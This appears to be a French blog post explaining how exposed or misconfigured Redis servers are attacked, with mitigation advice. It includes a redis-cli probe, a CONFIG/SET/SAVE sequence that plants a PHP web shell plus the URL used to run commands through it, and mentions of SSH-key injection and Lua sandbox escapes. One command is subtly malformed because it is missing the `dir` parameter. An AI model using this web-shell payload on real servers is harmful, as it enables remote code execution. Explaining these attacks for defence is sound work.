Pirater Redis

Redis signifie REmote DIctionary Server. C’est un système de base de données qui fonctionne avec des clés-valeurs.

Il y a certaines fonctionnalités plus avancées, comme les architectures master-slave ou les clusters mais Redis est souvent utilisé en tant que système de cache ou agent de messagerie.

L’outil est admirable dans bon nombre d’aspects mais des problèmes de sécurité peuvent apparaître lorsqu’on utilise les configurations par défaut ou que les instances Redis sont ouvertes aux connections distantes.

N’exposez pas une instance Redis sur Internet

Un grand nombre d’instances Redis sont ouvertes sur Internet pour des raisons pratiques mais cela permet à plus ou moins n’importe qui d’y accéder via le port 6379 (par défaut).

C’est testable très rapidement:

sudo apt install redis-tools
redis-cli -h {IP} PING

Si la réponse est “PONG” c’est bingo mais il y a d’autres commandes à tester.

Même si le port est modifié, certains outils comme Metasploit incluent des modules spécifiques pour énumérer des instances Redis.

Dans le pire des cas (ou le meilleur si vous êtes l’attaquant ^^), il n’y a ni firewall ni authentification, ce qui peut rapidement escalader.

Il vaut mieux autoriser une liste réduite de clients (whitelist) et interdire tous les autres.

N.B.: Redis a récemment ajouté un “mode protégé” (depuis 3.2.0) pour sécuriser les installations qui sont configurées avec les règles par défaut.

Pourquoi et comment les attaquants piratent Redis

Redis peut être attaqué par de mutiples raisons mais les plus courantes sont:

  • les injections web shell
  • les escalades de privilège
  • les vols de données (ex: dump de base de données)

La documentation de Redis recommande de désactiver l’accès à certaines commandes pour mitiger les attaques. Bon nombre de hacks sont basés sur la commande CONFIG:

{IP}:6379> config set /var/www/html
{IP}:6379> config set dbfilename webshell.php
{IP}:6379> set test "<?php system($_REQUEST['cmd']); ?>"
{IP}:6379> save

L’attaquant peut ensuite accéder au fichier et passer des instructions un peu comme ça:

http://{IP}/webshell.php?cmd={COMMAND}

Une autre approche consiste à injecter des accès SSH, par exemple via l’outil Redis-Server-Exploit.

Attaques en mode authentifié

Les erreurs de configurations peuvent permettre à des adversaires malicieux de passer des commandes non autorisées. Il est d’ailleurs recommandé d’ interdire les connexions anonymes.

Maintenant, si les mots de passe utilisateurs sont faibles, la sécurité ne sera guère meilleure.

Les données ne sont pas encryptées par défaut

Redis permet d’activer une authentification supplémentaire via le fichier redis.conf. Un administrateur peut passer la command AUTH.

Ce n’est utile qu’en tant que parachute de sécurité, au cas où les autres couches de sécurité sont défaites, mais il n’y a pas d’encryptage par défaut, donc un attaquant en mesure d’écouter le trafic sur le réseau peut en théorie intercepter les communications.

Lua sandbox escape

Les criminels peuvent implanter des RCE (exécution de code à distance) en exploitant certaines librairies via Redis.

Par exemple, Redis autorise les scripts Lua. Dans certaines conditions et si les librairies en questions ne sont pas à jour, cela peut déboucher sur des escalades de privilège.

Source: cn-sec

Conclusion

Gardez Redis à jour et configurez soigneusemment vos instances.